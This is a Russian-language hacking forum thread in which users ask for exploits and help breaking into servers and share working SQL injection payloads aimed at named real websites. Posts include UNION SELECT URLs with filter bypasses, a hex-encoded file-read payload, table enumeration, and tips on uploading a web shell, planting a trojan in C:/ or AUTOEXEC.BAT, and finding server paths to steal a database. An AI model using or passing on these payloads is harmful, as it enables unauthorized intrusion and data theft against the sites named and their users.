Ваши вопросы по уязвимостям.

Apache/1.3.27 (Unix) (Red-Hat/Linux) FrontPage/5.0.2.2626 mod_ssl/2.8.12 OpenSSL/0.9.6b PHP/4.3.11 mod_perl/1.27 - вот такая система есть у меня. Апач довольно старый, подозреваю, что есть сплойты под него. Только найти не могу.
фтп - Version wu-2.6.2(1)
ssh - SSH-1.99-OpenSSH_3.1p1
подкиньте идейку или рабочий сплойт. В идеале мне нужна MySQL база, но мскл инъекций на сайте не обнаружено. Если достану базу - отблагодарю

 

Попробуй в корень диска C:/ троян записать. Вдруг админ решит запустить. Или autoexec поправить.

 

подскажите пожалуйста как залить шелл.

ситуация такая: mysql стоит на одной машинке, сайт на другой (хостинг) - есть sql-inj дырка. INTO OUTFILE применить не получится исходя из выше-сказанного (mysql на отдельной машине).

по крайней мере пытался, но пишет:

Error 1: Can't create/write to file '/var/www/пам/data/www/парам/uploads/shell.php' (Errcode: 2)

 

Фильтруется select, как обойти?

http://www.albumband.cz/pisen.php?id=1+union+select+1,2,3,4,5,6,7+--+

 

Ну в теории можно залить ***.exe в веб-папку + правка C:\AUTOEXEC.BAT возможна. Только это нужно троя искать/покупать не палящегося + заставить админа перезагрузить сервер.

Попугай, тебе не нужен шелл? Мне лень возиться.

 

select не фильтруется:

Code:

http://www.albumband.cz/pisen.php?id=1+and+substring((select+version()),1,1)=5

фильтруется кое-что другое

 

Code:

http://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,8

upd: + читалка файлов в 8 поле

Code:

http://www.albumband.cz/pisen.php?id=-1+union%0aselect+1,version(),3,4,5,6,7,0x2e2e2f706973656e2e706870

 

Буду обращаться к вам за советами.

 

помогите расскрутить это
http://www.hausderkunst.de/hdk.de/index.php?StoryID=-999999

 

ребят вот такой вопрос :

имеется сервер Microsoft-IIS/7.0, язык asp

База : PostgreSQL

через функции Postgre хотел читать файл C:\boot.ini,файл не открылся..(strange strange strange)

просто из за интереса попробовал читать файл /etc/passwd (ну я знаю что в винде такого нету)

и файл открылся!!

как это понять?

реально ли использовать IIS под никcом??

 

http://www.hausderkunst.de/hdk.de/index.php?StoryID=-2+union+select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+limit+1,1--
Перебирай limit'ом

 

как узнать полный путь в никсе имеется возможность читать файлы sql запросом?

 

google.ru
site:yourvulnsite.com warning

И в найденных ошибках будет путь

 

вывод ошибок отключен + через google пробовал

 

Попробовать найти phpinfo, пооткрывать просто .php файлы без параметров, попроболвать найти раскрытие путей - [] и так далее

 

сайт на asp, инклуда нет раскрытие тож

 

читай конфиги. Вот тема https://forum.antichat.ru/threadnav49775-4-10.html

 

шаман это тот самый сайт o котором я писал выше,сайт на asp, нужно узнать полный путь чтоб залить шелл

 

Ты сам себе ответил.

http://www.albumband.cz/mysql.cfg
Давно такого не видел

 

Ctacok что предлагаешь? можно как-нибудь узнать путь до сайта?